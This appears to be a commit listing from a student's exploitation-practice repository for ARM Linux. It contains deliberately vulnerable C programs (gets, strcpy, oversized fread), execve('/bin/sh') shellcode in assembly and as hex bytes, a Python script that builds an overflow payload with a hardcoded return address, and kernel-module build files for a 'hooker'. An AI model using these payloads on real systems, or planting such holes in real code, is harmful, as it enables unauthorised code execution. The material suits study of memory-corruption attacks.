손지언

dd

Showing 74 changed files with 4434 additions and 0 deletions
No preview for this file type
#include<stdio.h>
#include<string.h>
int main(){
char buf[40];
char temp;
printf("buf = (%p)\n", buf);
temp = fgetc(stdin);
FILE* fp = fopen("input.text","r");
fread(buf,100,1,fp);
printf("%s, \n",buf);
return 0;
}
import struct
f = open("input.text",'wb')
i = int(input())
if(i == 0):
msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xc8\xf3\xff\x7e"
else:
msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xe8\x63\xfb\x7e"
f.write(msg)
f.close()
#f = open("input.text",'ab')
#n = input()
#add = int(n,16)
#print(add)
#addr = struct.pack('<L',add)
#f.write(addr)
#f.close()
No preview for this file type
#include <stdio.h>
int main(int argc, char* argv[]){
int len=0;
int i =0;
while(argv[1][i]<='9'&&argv[1][i]>='0'){
len += argv[1][i]-48;
len *= 10;
i++;
}
len /= 10;
printf("%d\n",len);
while(len-->0){
putc('0',stdout);
}
printf("\n");
}
No preview for this file type
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <stdlib.h>
char buf[2048];
int main()
{
if (!fgets(buf, sizeof(buf), stdin))
err(1, "Too long input");
// a few info for debugging
printf("> length: %d\n", (int)strlen(buf));
for (int i = 0; i < strlen(buf); i += 1) {
if (i % 16 == 0)
printf("> %04X: ", i);
printf("%02X ", (unsigned char)buf[i]);
if (i % 16 == 15)
printf("\n");
}
printf("\n");
(*(void (*)()) buf)();
}
\ No newline at end of file
No preview for this file type
No preview for this file type
.section .text
.global _start
_start:
add r0, pc, #12
mov r1, #0
mov r2, #0
mov r7, #11
svc #0
.ascii "/bin/sh\0"
\ No newline at end of file
No preview for this file type
No preview for this file type
No preview for this file type
.section .text
.global _start
_start:
.code 32
add r3, pc, #1
bx r3
.code 16
add r0, pc, #8
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #11
svc #1
.ascii "/bin/shx"
\ No newline at end of file
No preview for this file type
#include<stdio.h>
#include<string.h>
int main(){
char buf[40];
char temp;
printf("buf = (%p)\n", buf);
temp = fgetc(stdin);
FILE* fp = fopen("input.text","r");
fread(buf,100,1,fp);
printf("%s, \n",buf);
return 0;
}
import struct
f = open("input.text",'wb')
i = int(input())
if(i == 0):
msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xc8\xf3\xff\x7e"
else:
msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xe8\x63\xfb\x7e"
f.write(msg)
f.close()
#f = open("input.text",'ab')
#n = input()
#add = int(n,16)
#print(add)
#addr = struct.pack('<L',add)
#f.write(addr)
#f.close()
No preview for this file type
No preview for this file type
#include<stdlib.h>
#include<unistd.h>
#include<stdio.h>
int main(int argc, char **argv){
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0){
printf("success!\n");
}
else{
printf("try again!\n");
}
}
No preview for this file type
#include<stdlib.h>
#include<unistd.h>
#include<stdio.h>
#include<string.h>
#include<err.h>
int main(int argc, char **argv){
volatile int modified;
char buffer[64];
if(argc != 2){
perror("argc");
}
modified = 0;
strcpy(buffer,argv[1]);
if(modified == 0x61626364){
printf("success!\n");
}
else{
printf("try again!, you got 0x%08x\n",modified);
}
}
No preview for this file type
#include<stdio.h>
void main(){
system("/bin/sh");
}
export APP_NAME=hello_world
export MOD_NAME=hooker
PWD=$(shell pwd)
APP_PATH=$(PWD)/d$(APP_NAME)
MOD_PATH=$(PWD)/d$(MOD_NAME)
all: $(MOD_NAME) $(APP_NAME)
$(MOD_NAME):
$(MAKE) -C $(MOD_PATH)
mv $(MOD_PATH)/$@.ko $(PWD)
$(APP_NAME):
$(MAKE) -C $(APP_PATH)
mv $(APP_PATH)/$@ $(PWD)
clean:
$(RM) $(PWD)/$(MOD_NAME).ko
$(RM) $(PWD)/$(APP_NAME)
arm-linux-gnueabihf-gcc -C $(MOD_PATH) clean
arm-linux-gnueabihf-gcc -C $(APP_PATH) clean
APP_NAME := hello_world
all:
arm-linux-gnueabihf-gcc -o $(APP_NAME) $(APP_NAME).c
clean:
$(RM) $(APP_NAME).o
#include <stdio.h>
int main(int argc, char *argv[]){
char sHelloMsg[] = {"Hello world!"};
printf(sHelloMsg);
return 0;
}
cmd_/root/hooking/dhooker/hooker.ko := arm-linux-gnueabihf-ld -EL -r -T ./scripts/module-common.lds --build-id -o /root/hooking/dhooker/hooker.ko /root/hooking/dhooker/hooker.o /root/hooking/dhooker/hooker.mod.o
cmd_/root/hooking/dhooker/hooker.mod.o := arm-linux-gnueabihf-gcc -Wp,-MD,/root/hooking/dhooker/.hooker.mod.o.d -nostdinc -isystem /usr/lib/gcc-cross/arm-linux-gnueabihf/5/include -I./arch/arm/include -Iarch/arm/include/generated/uapi -Iarch/arm/include/generated -Iinclude -I./arch/arm/include/uapi -Iarch/arm/include/generated/uapi -I./include/uapi -Iinclude/generated/uapi -include ./include/linux/kconfig.h -D__KERNEL__ -mlittle-endian -Iarch/arm/mach-bcm2709/include -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -std=gnu89 -fno-PIE -fno-dwarf2-cfi-asm -fno-omit-frame-pointer -mapcs -mno-sched-prolog -fno-ipa-sra -mabi=aapcs-linux -mno-thumb-interwork -mfpu=vfp -funwind-tables -marm -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm -fno-delete-null-pointer-checks -Wno-maybe-uninitialized -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fno-stack-protector -Wno-unused-but-set-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -pg -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -Werror=implicit-int -Werror=strict-prototypes -Werror=date-time -DCC_HAVE_ASM_GOTO -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(hooker.mod)" -D"KBUILD_MODNAME=KBUILD_STR(hooker)" -DMODULE -c -o /root/hooking/dhooker/hooker.mod.o /root/hooking/dhooker/hooker.mod.c
source_/root/hooking/dhooker/hooker.mod.o := /root/hooking/dhooker/hooker.mod.c
deps_/root/hooking/dhooker/hooker.mod.o := \
$(wildcard include/config/module/unload.h) \
include/linux/module.h \
$(wildcard include/config/modules.h) \
$(wildcard include/config/sysfs.h) \
$(wildcard include/config/unused/symbols.h) \
$(wildcard include/config/module/sig.h) \
$(wildcard include/config/modules/tree/lookup.h) \
$(wildcard include/config/generic/bug.h) \
$(wildcard include/config/kallsyms.h) \
$(wildcard include/config/smp.h) \
$(wildcard include/config/tracepoints.h) \
$(wildcard include/config/tracing.h) \
$(wildcard include/config/event/tracing.h) \
$(wildcard include/config/ftrace/mcount/record.h) \
$(wildcard include/config/livepatch.h) \
$(wildcard include/config/constructors.h) \
$(wildcard include/config/debug/set/module/ronx.h) \
include/linux/list.h \
$(wildcard include/config/debug/list.h) \
include/linux/types.h \
$(wildcard include/config/have/uid16.h) \
$(wildcard include/config/uid16.h) \
$(wildcard include/config/lbdaf.h) \
$(wildcard include/config/arch/dma/addr/t/64bit.h) \
$(wildcard include/config/phys/addr/t/64bit.h) \
$(wildcard include/config/64bit.h) \
include/uapi/linux/types.h \
arch/arm/include/asm/types.h \
include/asm-generic/int-ll64.h \
include/uapi/asm-generic/int-ll64.h \
arch/arm/include/generated/asm/bitsperlong.h \
include/asm-generic/bitsperlong.h \
include/uapi/asm-generic/bitsperlong.h \
include/uapi/linux/posix_types.h \
include/linux/stddef.h \
include/uapi/linux/stddef.h \
include/linux/compiler.h \
$(wildcard include/config/sparse/rcu/pointer.h) \
$(wildcard include/config/trace/branch/profiling.h) \
$(wildcard include/config/profile/all/branches.h) \
$(wildcard include/config/kasan.h) \
$(wildcard include/config/enable/must/check.h) \
$(wildcard include/config/enable/warn/deprecated.h) \
$(wildcard include/config/kprobes.h) \
include/linux/compiler-gcc.h \
$(wildcard include/config/arch/supports/optimized/inlining.h) \
$(wildcard include/config/optimize/inlining.h) \
$(wildcard include/config/gcov/kernel.h) \
$(wildcard include/config/arch/use/builtin/bswap.h) \
arch/arm/include/uapi/asm/posix_types.h \
include/uapi/asm-generic/posix_types.h \
include/linux/poison.h \
$(wildcard include/config/illegal/pointer/value.h) \
include/uapi/linux/const.h \
include/linux/kernel.h \
$(wildcard include/config/preempt/voluntary.h) \
$(wildcard include/config/debug/atomic/sleep.h) \
$(wildcard include/config/mmu.h) \
$(wildcard include/config/prove/locking.h) \
$(wildcard include/config/panic/timeout.h) \
/usr/lib/gcc-cross/arm-linux-gnueabihf/5/include/stdarg.h \
include/linux/linkage.h \
include/linux/stringify.h \
include/linux/export.h \
$(wildcard include/config/have/underscore/symbol/prefix.h) \
$(wildcard include/config/modversions.h) \
arch/arm/include/asm/linkage.h \
include/linux/bitops.h \
arch/arm/include/asm/bitops.h \
include/linux/irqflags.h \
$(wildcard include/config/trace/irqflags.h) \
$(wildcard include/config/irqsoff/tracer.h) \
$(wildcard include/config/preempt/tracer.h) \
$(wildcard include/config/trace/irqflags/support.h) \
include/linux/typecheck.h \
arch/arm/include/asm/irqflags.h \
$(wildcard include/config/cpu/v7m.h) \
arch/arm/include/asm/ptrace.h \
$(wildcard include/config/arm/thumb.h) \
$(wildcard include/config/thumb2/kernel.h) \
arch/arm/include/uapi/asm/ptrace.h \
$(wildcard include/config/cpu/endian/be8.h) \
arch/arm/include/asm/hwcap.h \
arch/arm/include/uapi/asm/hwcap.h \
include/asm-generic/irqflags.h \
arch/arm/include/asm/barrier.h \
$(wildcard include/config/cpu/32v6k.h) \
$(wildcard include/config/cpu/xsc3.h) \
$(wildcard include/config/cpu/fa526.h) \
$(wildcard include/config/arm/heavy/mb.h) \
$(wildcard include/config/arch/has/barriers.h) \
$(wildcard include/config/arm/dma/mem/bufferable.h) \
include/asm-generic/bitops/non-atomic.h \
include/asm-generic/bitops/fls64.h \
include/asm-generic/bitops/sched.h \
include/asm-generic/bitops/hweight.h \
include/asm-generic/bitops/arch_hweight.h \
include/asm-generic/bitops/const_hweight.h \
include/asm-generic/bitops/lock.h \
include/asm-generic/bitops/le.h \
arch/arm/include/uapi/asm/byteorder.h \
include/linux/byteorder/little_endian.h \
include/uapi/linux/byteorder/little_endian.h \
include/linux/swab.h \
include/uapi/linux/swab.h \
arch/arm/include/asm/swab.h \
arch/arm/include/uapi/asm/swab.h \
include/linux/byteorder/generic.h \
include/asm-generic/bitops/ext2-atomic-setbit.h \
include/linux/log2.h \
$(wildcard include/config/arch/has/ilog2/u32.h) \
$(wildcard include/config/arch/has/ilog2/u64.h) \
include/linux/printk.h \
$(wildcard include/config/message/loglevel/default.h) \
$(wildcard include/config/early/printk.h) \
$(wildcard include/config/printk.h) \
$(wildcard include/config/dynamic/debug.h) \
include/linux/init.h \
$(wildcard include/config/broken/rodata.h) \
$(wildcard include/config/lto.h) \
include/linux/kern_levels.h \
include/linux/cache.h \
$(wildcard include/config/arch/has/cache/line/size.h) \
include/uapi/linux/kernel.h \
include/uapi/linux/sysinfo.h \
arch/arm/include/asm/cache.h \
$(wildcard include/config/arm/l1/cache/shift.h) \
$(wildcard include/config/aeabi.h) \
include/linux/dynamic_debug.h \
include/linux/string.h \
$(wildcard include/config/binary/printf.h) \
include/uapi/linux/string.h \
arch/arm/include/asm/string.h \
$(wildcard include/config/mach/bcm2708.h) \
include/linux/errno.h \
include/uapi/linux/errno.h \
arch/arm/include/generated/asm/errno.h \
include/uapi/asm-generic/errno.h \
include/uapi/asm-generic/errno-base.h \
arch/arm/include/asm/div64.h \
arch/arm/include/asm/compiler.h \
arch/arm/include/asm/bug.h \
$(wildcard include/config/bug.h) \
$(wildcard include/config/debug/bugverbose.h) \
$(wildcard include/config/arm/lpae.h) \
arch/arm/include/asm/opcodes.h \
$(wildcard include/config/cpu/endian/be32.h) \
include/asm-generic/bug.h \
$(wildcard include/config/generic/bug/relative/pointers.h) \
include/linux/stat.h \
arch/arm/include/uapi/asm/stat.h \
include/uapi/linux/stat.h \
include/linux/time.h \
$(wildcard include/config/arch/uses/gettimeoffset.h) \
include/linux/seqlock.h \
$(wildcard include/config/debug/lock/alloc.h) \
include/linux/spinlock.h \
$(wildcard include/config/debug/spinlock.h) \
$(wildcard include/config/generic/lockbreak.h) \
$(wildcard include/config/preempt.h) \
include/linux/preempt.h \
$(wildcard include/config/preempt/count.h) \
$(wildcard include/config/debug/preempt.h) \
$(wildcard include/config/preempt/notifiers.h) \
arch/arm/include/generated/asm/preempt.h \
include/asm-generic/preempt.h \
include/linux/thread_info.h \
$(wildcard include/config/compat.h) \
$(wildcard include/config/debug/stack/usage.h) \
include/linux/bug.h \
arch/arm/include/asm/thread_info.h \
$(wildcard include/config/crunch.h) \
$(wildcard include/config/arm/thumbee.h) \
arch/arm/include/asm/fpstate.h \
$(wildcard include/config/vfpv3.h) \
$(wildcard include/config/iwmmxt.h) \
arch/arm/include/asm/page.h \
$(wildcard include/config/cpu/copy/v4wt.h) \
$(wildcard include/config/cpu/copy/v4wb.h) \
$(wildcard include/config/cpu/copy/feroceon.h) \
$(wildcard include/config/cpu/copy/fa.h) \
$(wildcard include/config/cpu/sa1100.h) \
$(wildcard include/config/cpu/xscale.h) \
$(wildcard include/config/cpu/copy/v6.h) \
$(wildcard include/config/kuser/helpers.h) \
$(wildcard include/config/have/arch/pfn/valid.h) \
arch/arm/include/asm/glue.h \
arch/arm/include/asm/pgtable-2level-types.h \
arch/arm/include/asm/memory.h \
$(wildcard include/config/need/mach/memory/h.h) \
$(wildcard include/config/page/offset.h) \
$(wildcard include/config/highmem.h) \
$(wildcard include/config/dram/base.h) \
$(wildcard include/config/dram/size.h) \
$(wildcard include/config/have/tcm.h) \
$(wildcard include/config/arm/patch/phys/virt.h) \
$(wildcard include/config/phys/offset.h) \
$(wildcard include/config/virt/to/bus.h) \
include/linux/sizes.h \
arch/arm/mach-bcm2709/include/mach/memory.h \
$(wildcard include/config/bcm2708/nol2cache.h) \
include/asm-generic/memory_model.h \
$(wildcard include/config/flatmem.h) \
$(wildcard include/config/discontigmem.h) \
$(wildcard include/config/sparsemem/vmemmap.h) \
$(wildcard include/config/sparsemem.h) \
include/asm-generic/getorder.h \
include/linux/bottom_half.h \
include/linux/spinlock_types.h \
arch/arm/include/asm/spinlock_types.h \
include/linux/lockdep.h \
$(wildcard include/config/lockdep.h) \
$(wildcard include/config/lock/stat.h) \
include/linux/rwlock_types.h \
arch/arm/include/asm/spinlock.h \
include/linux/prefetch.h \
arch/arm/include/asm/processor.h \
$(wildcard include/config/have/hw/breakpoint.h) \
$(wildcard include/config/arm/errata/754327.h) \
arch/arm/include/asm/hw_breakpoint.h \
arch/arm/include/asm/unified.h \
$(wildcard include/config/arm/asm/unified.h) \
include/linux/rwlock.h \
include/linux/spinlock_api_smp.h \
$(wildcard include/config/inline/spin/lock.h) \
$(wildcard include/config/inline/spin/lock/bh.h) \
$(wildcard include/config/inline/spin/lock/irq.h) \
$(wildcard include/config/inline/spin/lock/irqsave.h) \
$(wildcard include/config/inline/spin/trylock.h) \
$(wildcard include/config/inline/spin/trylock/bh.h) \
$(wildcard include/config/uninline/spin/unlock.h) \
$(wildcard include/config/inline/spin/unlock/bh.h) \
$(wildcard include/config/inline/spin/unlock/irq.h) \
$(wildcard include/config/inline/spin/unlock/irqrestore.h) \
include/linux/rwlock_api_smp.h \
$(wildcard include/config/inline/read/lock.h) \
$(wildcard include/config/inline/write/lock.h) \
$(wildcard include/config/inline/read/lock/bh.h) \
$(wildcard include/config/inline/write/lock/bh.h) \
$(wildcard include/config/inline/read/lock/irq.h) \
$(wildcard include/config/inline/write/lock/irq.h) \
$(wildcard include/config/inline/read/lock/irqsave.h) \
$(wildcard include/config/inline/write/lock/irqsave.h) \
$(wildcard include/config/inline/read/trylock.h) \
$(wildcard include/config/inline/write/trylock.h) \
$(wildcard include/config/inline/read/unlock.h) \
$(wildcard include/config/inline/write/unlock.h) \
$(wildcard include/config/inline/read/unlock/bh.h) \
$(wildcard include/config/inline/write/unlock/bh.h) \
$(wildcard include/config/inline/read/unlock/irq.h) \
$(wildcard include/config/inline/write/unlock/irq.h) \
$(wildcard include/config/inline/read/unlock/irqrestore.h) \
$(wildcard include/config/inline/write/unlock/irqrestore.h) \
include/linux/atomic.h \
$(wildcard include/config/generic/atomic64.h) \
arch/arm/include/asm/atomic.h \
arch/arm/include/asm/cmpxchg.h \
$(wildcard include/config/cpu/sa110.h) \
$(wildcard include/config/cpu/v6.h) \
include/asm-generic/cmpxchg-local.h \
include/asm-generic/atomic-long.h \
include/linux/math64.h \
$(wildcard include/config/arch/supports/int128.h) \
include/linux/time64.h \
include/uapi/linux/time.h \
include/linux/uidgid.h \
$(wildcard include/config/multiuser.h) \
$(wildcard include/config/user/ns.h) \
include/linux/highuid.h \
include/linux/kmod.h \
include/linux/gfp.h \
$(wildcard include/config/zone/dma.h) \
$(wildcard include/config/zone/dma32.h) \
$(wildcard include/config/numa.h) \
$(wildcard include/config/deferred/struct/page/init.h) \
$(wildcard include/config/pm/sleep.h) \
$(wildcard include/config/cma.h) \
include/linux/mmdebug.h \
$(wildcard include/config/debug/vm.h) \
$(wildcard include/config/debug/virtual.h) \
include/linux/mmzone.h \
$(wildcard include/config/force/max/zoneorder.h) \
$(wildcard include/config/memory/isolation.h) \
$(wildcard include/config/memcg.h) \
$(wildcard include/config/zone/device.h) \
$(wildcard include/config/memory/hotplug.h) \
$(wildcard include/config/compaction.h) \
$(wildcard include/config/flat/node/mem/map.h) \
$(wildcard include/config/page/extension.h) \
$(wildcard include/config/no/bootmem.h) \
$(wildcard include/config/numa/balancing.h) \
$(wildcard include/config/have/memory/present.h) \
$(wildcard include/config/have/memoryless/nodes.h) \
$(wildcard include/config/need/node/memmap/size.h) \
$(wildcard include/config/have/memblock/node/map.h) \
$(wildcard include/config/need/multiple/nodes.h) \
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
$(wildcard include/config/sparsemem/extreme.h) \
$(wildcard include/config/holes/in/zone.h) \
$(wildcard include/config/arch/has/holes/memorymodel.h) \
include/linux/wait.h \
arch/arm/include/generated/asm/current.h \
include/asm-generic/current.h \
include/uapi/linux/wait.h \
include/linux/threads.h \
$(wildcard include/config/nr/cpus.h) \
$(wildcard include/config/base/small.h) \
include/linux/numa.h \
$(wildcard include/config/nodes/shift.h) \
include/linux/nodemask.h \
$(wildcard include/config/movable/node.h) \
include/linux/bitmap.h \
include/linux/pageblock-flags.h \
$(wildcard include/config/hugetlb/page.h) \
$(wildcard include/config/hugetlb/page/size/variable.h) \
include/linux/page-flags-layout.h \
include/generated/bounds.h \
include/linux/memory_hotplug.h \
$(wildcard include/config/memory/hotremove.h) \
$(wildcard include/config/have/arch/nodedata/extension.h) \
$(wildcard include/config/have/bootmem/info/node.h) \
include/linux/notifier.h \
include/linux/mutex.h \
$(wildcard include/config/debug/mutexes.h) \
$(wildcard include/config/mutex/spin/on/owner.h) \
include/linux/osq_lock.h \
include/linux/rwsem.h \
$(wildcard include/config/rwsem/spin/on/owner.h) \
$(wildcard include/config/rwsem/generic/spinlock.h) \
arch/arm/include/generated/asm/rwsem.h \
include/asm-generic/rwsem.h \
include/linux/srcu.h \
include/linux/rcupdate.h \
$(wildcard include/config/tiny/rcu.h) \
$(wildcard include/config/tree/rcu.h) \
$(wildcard include/config/preempt/rcu.h) \
$(wildcard include/config/rcu/trace.h) \
$(wildcard include/config/rcu/stall/common.h) \
$(wildcard include/config/no/hz/full.h) \
$(wildcard include/config/rcu/nocb/cpu.h) \
$(wildcard include/config/tasks/rcu.h) \
$(wildcard include/config/debug/objects/rcu/head.h) \
$(wildcard include/config/hotplug/cpu.h) \
$(wildcard include/config/prove/rcu.h) \
$(wildcard include/config/rcu/boost.h) \
$(wildcard include/config/rcu/nocb/cpu/all.h) \
$(wildcard include/config/no/hz/full/sysidle.h) \
include/linux/cpumask.h \
$(wildcard include/config/cpumask/offstack.h) \
$(wildcard include/config/debug/per/cpu/maps.h) \
include/linux/completion.h \
include/linux/debugobjects.h \
$(wildcard include/config/debug/objects.h) \
$(wildcard include/config/debug/objects/free.h) \
include/linux/ktime.h \
include/linux/jiffies.h \
include/linux/timex.h \
include/uapi/linux/timex.h \
include/uapi/linux/param.h \
arch/arm/include/generated/asm/param.h \
include/asm-generic/param.h \
$(wildcard include/config/hz.h) \
include/uapi/asm-generic/param.h \
arch/arm/include/asm/timex.h \
include/generated/timeconst.h \
include/linux/timekeeping.h \
include/linux/rcutree.h \
include/linux/workqueue.h \
$(wildcard include/config/debug/objects/work.h) \
$(wildcard include/config/freezer.h) \
include/linux/timer.h \
$(wildcard include/config/timer/stats.h) \
$(wildcard include/config/debug/objects/timers.h) \
$(wildcard include/config/no/hz/common.h) \
include/linux/sysctl.h \
$(wildcard include/config/sysctl.h) \
include/linux/rbtree.h \
include/uapi/linux/sysctl.h \
include/linux/topology.h \
$(wildcard include/config/use/percpu/numa/node/id.h) \
$(wildcard include/config/sched/smt.h) \
include/linux/smp.h \
$(wildcard include/config/up/late/init.h) \
include/linux/llist.h \
$(wildcard include/config/arch/have/nmi/safe/cmpxchg.h) \
arch/arm/include/asm/smp.h \
include/linux/percpu.h \
$(wildcard include/config/need/per/cpu/embed/first/chunk.h) \
$(wildcard include/config/need/per/cpu/page/first/chunk.h) \
$(wildcard include/config/have/setup/per/cpu/area.h) \
include/linux/pfn.h \
arch/arm/include/asm/percpu.h \
include/asm-generic/percpu.h \
include/linux/percpu-defs.h \
$(wildcard include/config/debug/force/weak/per/cpu.h) \
arch/arm/include/asm/topology.h \
$(wildcard include/config/arm/cpu/topology.h) \
include/asm-generic/topology.h \
include/linux/elf.h \
arch/arm/include/asm/elf.h \
$(wildcard include/config/vdso.h) \
arch/arm/include/asm/auxvec.h \
arch/arm/include/uapi/asm/auxvec.h \
arch/arm/include/asm/vdso_datapage.h \
arch/arm/include/asm/user.h \
include/uapi/linux/elf.h \
include/uapi/linux/elf-em.h \
include/linux/kobject.h \
$(wildcard include/config/uevent/helper.h) \
$(wildcard include/config/debug/kobject/release.h) \
include/linux/sysfs.h \
include/linux/kernfs.h \
$(wildcard include/config/kernfs.h) \
include/linux/err.h \
include/linux/idr.h \
include/linux/kobject_ns.h \
include/linux/kref.h \
include/linux/moduleparam.h \
$(wildcard include/config/alpha.h) \
$(wildcard include/config/ia64.h) \
$(wildcard include/config/ppc64.h) \
include/linux/jump_label.h \
$(wildcard include/config/jump/label.h) \
arch/arm/include/asm/jump_label.h \
include/linux/rbtree_latch.h \
arch/arm/include/asm/module.h \
$(wildcard include/config/arm/unwind.h) \
$(wildcard include/config/arm/module/plts.h) \
include/asm-generic/module.h \
$(wildcard include/config/have/mod/arch/specific.h) \
$(wildcard include/config/modules/use/elf/rel.h) \
$(wildcard include/config/modules/use/elf/rela.h) \
include/linux/vermagic.h \
include/generated/utsrelease.h \
/root/hooking/dhooker/hooker.mod.o: $(deps_/root/hooking/dhooker/hooker.mod.o)
$(deps_/root/hooking/dhooker/hooker.mod.o):
cmd_/root/hooking/dhooker/hooker.o := arm-linux-gnueabihf-gcc -Wp,-MD,/root/hooking/dhooker/.hooker.o.d -nostdinc -isystem /usr/lib/gcc-cross/arm-linux-gnueabihf/5/include -I./arch/arm/include -Iarch/arm/include/generated/uapi -Iarch/arm/include/generated -Iinclude -I./arch/arm/include/uapi -Iarch/arm/include/generated/uapi -I./include/uapi -Iinclude/generated/uapi -include ./include/linux/kconfig.h -D__KERNEL__ -mlittle-endian -Iarch/arm/mach-bcm2709/include -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -std=gnu89 -fno-PIE -fno-dwarf2-cfi-asm -fno-omit-frame-pointer -mapcs -mno-sched-prolog -fno-ipa-sra -mabi=aapcs-linux -mno-thumb-interwork -mfpu=vfp -funwind-tables -marm -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm -fno-delete-null-pointer-checks -Wno-maybe-uninitialized -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fno-stack-protector -Wno-unused-but-set-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -pg -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -Werror=implicit-int -Werror=strict-prototypes -Werror=date-time -DCC_HAVE_ASM_GOTO -DMODULE -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(hooker)" -D"KBUILD_MODNAME=KBUILD_STR(hooker)" -c -o /root/hooking/dhooker/.tmp_hooker.o /root/hooking/dhooker/hooker.c
source_/root/hooking/dhooker/hooker.o := /root/hooking/dhooker/hooker.c
deps_/root/hooking/dhooker/hooker.o := \
include/linux/kernel.h \
$(wildcard include/config/lbdaf.h) \
$(wildcard include/config/preempt/voluntary.h) \
$(wildcard include/config/debug/atomic/sleep.h) \
$(wildcard include/config/mmu.h) \
$(wildcard include/config/prove/locking.h) \
$(wildcard include/config/panic/timeout.h) \
$(wildcard include/config/tracing.h) \
$(wildcard include/config/ftrace/mcount/record.h) \
/usr/lib/gcc-cross/arm-linux-gnueabihf/5/include/stdarg.h \
include/linux/linkage.h \
include/linux/compiler.h \
$(wildcard include/config/sparse/rcu/pointer.h) \
$(wildcard include/config/trace/branch/profiling.h) \
$(wildcard include/config/profile/all/branches.h) \
$(wildcard include/config/kasan.h) \
$(wildcard include/config/enable/must/check.h) \
$(wildcard include/config/enable/warn/deprecated.h) \
$(wildcard include/config/kprobes.h) \
include/linux/compiler-gcc.h \
$(wildcard include/config/arch/supports/optimized/inlining.h) \
$(wildcard include/config/optimize/inlining.h) \
$(wildcard include/config/gcov/kernel.h) \
$(wildcard include/config/arch/use/builtin/bswap.h) \
include/uapi/linux/types.h \
arch/arm/include/asm/types.h \
include/asm-generic/int-ll64.h \
include/uapi/asm-generic/int-ll64.h \
arch/arm/include/generated/asm/bitsperlong.h \
include/asm-generic/bitsperlong.h \
$(wildcard include/config/64bit.h) \
include/uapi/asm-generic/bitsperlong.h \
include/uapi/linux/posix_types.h \
include/linux/stddef.h \
include/uapi/linux/stddef.h \
arch/arm/include/uapi/asm/posix_types.h \
include/uapi/asm-generic/posix_types.h \
include/linux/stringify.h \
include/linux/export.h \
$(wildcard include/config/have/underscore/symbol/prefix.h) \
$(wildcard include/config/modules.h) \
$(wildcard include/config/modversions.h) \
$(wildcard include/config/unused/symbols.h) \
arch/arm/include/asm/linkage.h \
include/linux/types.h \
$(wildcard include/config/have/uid16.h) \
$(wildcard include/config/uid16.h) \
$(wildcard include/config/arch/dma/addr/t/64bit.h) \
$(wildcard include/config/phys/addr/t/64bit.h) \
include/linux/bitops.h \
arch/arm/include/asm/bitops.h \
$(wildcard include/config/smp.h) \
include/linux/irqflags.h \
$(wildcard include/config/trace/irqflags.h) \
$(wildcard include/config/irqsoff/tracer.h) \
$(wildcard include/config/preempt/tracer.h) \
$(wildcard include/config/trace/irqflags/support.h) \
include/linux/typecheck.h \
arch/arm/include/asm/irqflags.h \
$(wildcard include/config/cpu/v7m.h) \
arch/arm/include/asm/ptrace.h \
$(wildcard include/config/arm/thumb.h) \
$(wildcard include/config/thumb2/kernel.h) \
arch/arm/include/uapi/asm/ptrace.h \
$(wildcard include/config/cpu/endian/be8.h) \
arch/arm/include/asm/hwcap.h \
arch/arm/include/uapi/asm/hwcap.h \
include/asm-generic/irqflags.h \
arch/arm/include/asm/barrier.h \
$(wildcard include/config/cpu/32v6k.h) \
$(wildcard include/config/cpu/xsc3.h) \
$(wildcard include/config/cpu/fa526.h) \
$(wildcard include/config/arm/heavy/mb.h) \
$(wildcard include/config/arch/has/barriers.h) \
$(wildcard include/config/arm/dma/mem/bufferable.h) \
include/asm-generic/bitops/non-atomic.h \
include/asm-generic/bitops/fls64.h \
include/asm-generic/bitops/sched.h \
include/asm-generic/bitops/hweight.h \
include/asm-generic/bitops/arch_hweight.h \
include/asm-generic/bitops/const_hweight.h \
include/asm-generic/bitops/lock.h \
include/asm-generic/bitops/le.h \
arch/arm/include/uapi/asm/byteorder.h \
include/linux/byteorder/little_endian.h \
include/uapi/linux/byteorder/little_endian.h \
include/linux/swab.h \
include/uapi/linux/swab.h \
arch/arm/include/asm/swab.h \
arch/arm/include/uapi/asm/swab.h \
include/linux/byteorder/generic.h \
include/asm-generic/bitops/ext2-atomic-setbit.h \
include/linux/log2.h \
$(wildcard include/config/arch/has/ilog2/u32.h) \
$(wildcard include/config/arch/has/ilog2/u64.h) \
include/linux/printk.h \
$(wildcard include/config/message/loglevel/default.h) \
$(wildcard include/config/early/printk.h) \
$(wildcard include/config/printk.h) \
$(wildcard include/config/dynamic/debug.h) \
include/linux/init.h \
$(wildcard include/config/broken/rodata.h) \
$(wildcard include/config/lto.h) \
include/linux/kern_levels.h \
include/linux/cache.h \
$(wildcard include/config/arch/has/cache/line/size.h) \
include/uapi/linux/kernel.h \
